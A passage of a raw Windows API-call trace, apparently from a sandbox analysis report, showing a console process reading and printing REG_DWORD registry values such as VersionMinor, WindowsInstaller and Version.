lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.122] GetConsoleOutputCP () returned 0x1b5 [0147.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0147.122] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.122] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.122] __iob_func () returned 0x7fefd702a80 [0147.122] _fileno (_File=0x7fefd702ab0) returned 1 [0147.122] _errno () returned 0xc4bb0 [0147.122] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.122] _errno () returned 0xc4bb0 [0147.122] GetFileType (hFile=0x50) returned 0x1 [0147.122] lstrlenW (lpString="\n") returned 1 [0147.122] GetConsoleOutputCP () returned 0x1b5 [0147.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.123] GetConsoleOutputCP () returned 0x1b5 [0147.123] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.123] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.123] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.123] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.123] RegEnumValueW (in: hKey=0x5c, dwIndex=0x14, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.123] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.123] GetProcessHeap () returned 0x2e0000 [0147.123] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.123] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.123] __iob_func () returned 0x7fefd702a80 [0147.123] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.123] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.123] _fileno (_File=0x7fefd702ab0) returned 1 [0147.123] _errno () returned 0xc4bb0 [0147.123] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.124] _errno () returned 0xc4bb0 [0147.124] GetFileType (hFile=0x50) returned 0x1 [0147.124] lstrlenW (lpString=" ") returned 4 [0147.124] GetConsoleOutputCP () returned 0x1b5 [0147.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.124] GetConsoleOutputCP () returned 0x1b5 [0147.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.124] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.124] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.124] lstrlenW (lpString="VersionMinor") returned 12 [0147.124] __iob_func () returned 0x7fefd702a80 [0147.124] _fileno (_File=0x7fefd702ab0) returned 1 [0147.124] _errno () returned 0xc4bb0 [0147.124] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.124] _errno () returned 0xc4bb0 [0147.124] GetFileType (hFile=0x50) returned 0x1 [0147.124] lstrlenW (lpString="VersionMinor") returned 12 [0147.124] GetConsoleOutputCP () returned 0x1b5 [0147.124] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.124] GetConsoleOutputCP () returned 0x1b5 [0147.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0147.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.125] __iob_func () returned 0x7fefd702a80 [0147.125] _fileno (_File=0x7fefd702ab0) returned 1 [0147.125] _errno () returned 0xc4bb0 [0147.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.125] _errno () returned 0xc4bb0 [0147.125] GetFileType (hFile=0x50) returned 0x1 [0147.125] lstrlenW (lpString=" ") returned 4 [0147.125] GetConsoleOutputCP () returned 0x1b5 [0147.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.125] GetConsoleOutputCP () returned 0x1b5 [0147.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.125] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.125] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.125] __iob_func () returned 0x7fefd702a80 [0147.125] _fileno (_File=0x7fefd702ab0) returned 1 [0147.125] _errno () returned 0xc4bb0 [0147.125] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.125] _errno () returned 0xc4bb0 [0147.125] GetFileType (hFile=0x50) returned 0x1 [0147.125] lstrlenW (lpString="REG_DWORD") returned 9 [0147.125] GetConsoleOutputCP () returned 0x1b5 [0147.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.126] GetConsoleOutputCP () returned 0x1b5 [0147.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.126] __iob_func () returned 0x7fefd702a80 [0147.126] _fileno (_File=0x7fefd702ab0) returned 1 [0147.126] _errno () returned 0xc4bb0 [0147.126] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.126] _errno () returned 0xc4bb0 [0147.126] GetFileType (hFile=0x50) returned 0x1 [0147.126] lstrlenW (lpString=" ") returned 4 [0147.126] GetConsoleOutputCP () returned 0x1b5 [0147.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.126] GetConsoleOutputCP () returned 0x1b5 [0147.126] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.126] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.126] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.127] __iob_func () returned 0x7fefd702a80 [0147.127] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.127] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.127] _fileno (_File=0x7fefd702ab0) returned 1 [0147.127] _errno () returned 0xc4bb0 [0147.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.127] _errno () returned 0xc4bb0 [0147.127] GetFileType (hFile=0x50) returned 0x1 [0147.127] lstrlenW (lpString="0x0") returned 3 [0147.127] GetConsoleOutputCP () returned 0x1b5 [0147.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.127] GetConsoleOutputCP () returned 0x1b5 [0147.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.127] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.127] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.127] __iob_func () returned 0x7fefd702a80 [0147.127] _fileno (_File=0x7fefd702ab0) returned 1 [0147.127] _errno () returned 0xc4bb0 [0147.127] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.127] _errno () returned 0xc4bb0 [0147.127] GetFileType (hFile=0x50) returned 0x1 [0147.127] lstrlenW (lpString="\n") returned 1 [0147.127] GetConsoleOutputCP () returned 0x1b5 [0147.127] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.128] GetConsoleOutputCP () returned 0x1b5 [0147.128] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.128] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.128] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.128] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.128] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.128] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.128] GetProcessHeap () returned 0x2e0000 [0147.128] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.128] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.128] __iob_func () returned 0x7fefd702a80 [0147.128] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.128] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.128] _fileno (_File=0x7fefd702ab0) returned 1 [0147.128] _errno () returned 0xc4bb0 [0147.128] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.128] _errno () returned 0xc4bb0 [0147.128] GetFileType (hFile=0x50) returned 0x1 [0147.128] lstrlenW (lpString=" ") returned 4 [0147.129] GetConsoleOutputCP () returned 0x1b5 [0147.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.129] GetConsoleOutputCP () returned 0x1b5 [0147.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.129] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.129] __iob_func () returned 0x7fefd702a80 [0147.129] _fileno (_File=0x7fefd702ab0) returned 1 [0147.129] _errno () returned 0xc4bb0 [0147.129] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.129] _errno () returned 0xc4bb0 [0147.129] GetFileType (hFile=0x50) returned 0x1 [0147.129] lstrlenW (lpString="WindowsInstaller") returned 16 [0147.129] GetConsoleOutputCP () returned 0x1b5 [0147.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0147.129] GetConsoleOutputCP () returned 0x1b5 [0147.129] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0147.129] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0147.129] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.130] __iob_func () returned 0x7fefd702a80 [0147.130] _fileno (_File=0x7fefd702ab0) returned 1 [0147.130] _errno () returned 0xc4bb0 [0147.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.130] _errno () returned 0xc4bb0 [0147.130] GetFileType (hFile=0x50) returned 0x1 [0147.130] lstrlenW (lpString=" ") returned 4 [0147.130] GetConsoleOutputCP () returned 0x1b5 [0147.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.130] GetConsoleOutputCP () returned 0x1b5 [0147.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.130] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.130] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.130] __iob_func () returned 0x7fefd702a80 [0147.130] _fileno (_File=0x7fefd702ab0) returned 1 [0147.130] _errno () returned 0xc4bb0 [0147.130] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.130] _errno () returned 0xc4bb0 [0147.130] GetFileType (hFile=0x50) returned 0x1 [0147.130] lstrlenW (lpString="REG_DWORD") returned 9 [0147.130] GetConsoleOutputCP () returned 0x1b5 [0147.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.131] GetConsoleOutputCP () returned 0x1b5 [0147.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.131] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.131] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.131] __iob_func () returned 0x7fefd702a80 [0147.131] _fileno (_File=0x7fefd702ab0) returned 1 [0147.131] _errno () returned 0xc4bb0 [0147.131] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.131] _errno () returned 0xc4bb0 [0147.131] GetFileType (hFile=0x50) returned 0x1 [0147.131] lstrlenW (lpString=" ") returned 4 [0147.131] GetConsoleOutputCP () returned 0x1b5 [0147.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.132] GetConsoleOutputCP () returned 0x1b5 [0147.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.132] __iob_func () returned 0x7fefd702a80 [0147.132] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.132] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.132] _fileno (_File=0x7fefd702ab0) returned 1 [0147.132] _errno () returned 0xc4bb0 [0147.132] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.132] _errno () returned 0xc4bb0 [0147.132] GetFileType (hFile=0x50) returned 0x1 [0147.132] lstrlenW (lpString="0x1") returned 3 [0147.132] GetConsoleOutputCP () returned 0x1b5 [0147.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.132] GetConsoleOutputCP () returned 0x1b5 [0147.132] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.132] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.132] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.133] __iob_func () returned 0x7fefd702a80 [0147.133] _fileno (_File=0x7fefd702ab0) returned 1 [0147.133] _errno () returned 0xc4bb0 [0147.133] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.133] _errno () returned 0xc4bb0 [0147.133] GetFileType (hFile=0x50) returned 0x1 [0147.133] lstrlenW (lpString="\n") returned 1 [0147.133] GetConsoleOutputCP () returned 0x1b5 [0147.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.133] GetConsoleOutputCP () returned 0x1b5 [0147.133] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.133] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.133] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.133] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.133] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.133] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.133] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.133] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.133] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.133] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.133] GetProcessHeap () returned 0x2e0000 [0147.134] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.134] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0xa009d1b, pcbData=0x23f670*=0x4) returned 0x0 [0147.134] __iob_func () returned 0x7fefd702a80 [0147.134] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.134] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.134] _fileno (_File=0x7fefd702ab0) returned 1 [0147.134] _errno () returned 0xc4bb0 [0147.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.134] _errno () returned 0xc4bb0 [0147.134] GetFileType (hFile=0x50) returned 0x1 [0147.134] lstrlenW (lpString=" ") returned 4 [0147.134] GetConsoleOutputCP () returned 0x1b5 [0147.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.134] GetConsoleOutputCP () returned 0x1b5 [0147.134] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.134] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.134] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.134] lstrlenW (lpString="Version") returned 7 [0147.134] __iob_func () returned 0x7fefd702a80 [0147.134] _fileno (_File=0x7fefd702ab0) returned 1 [0147.134] _errno () returned 0xc4bb0 [0147.134] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.134] _errno () returned 0xc4bb0 [0147.134] GetFileType (hFile=0x50) returned 0x1 [0147.134] lstrlenW (lpString="Version") returned 7 [0147.135] GetConsoleOutputCP () returned 0x1b5 [0147.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0147.135] GetConsoleOutputCP () returned 0x1b5 [0147.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", 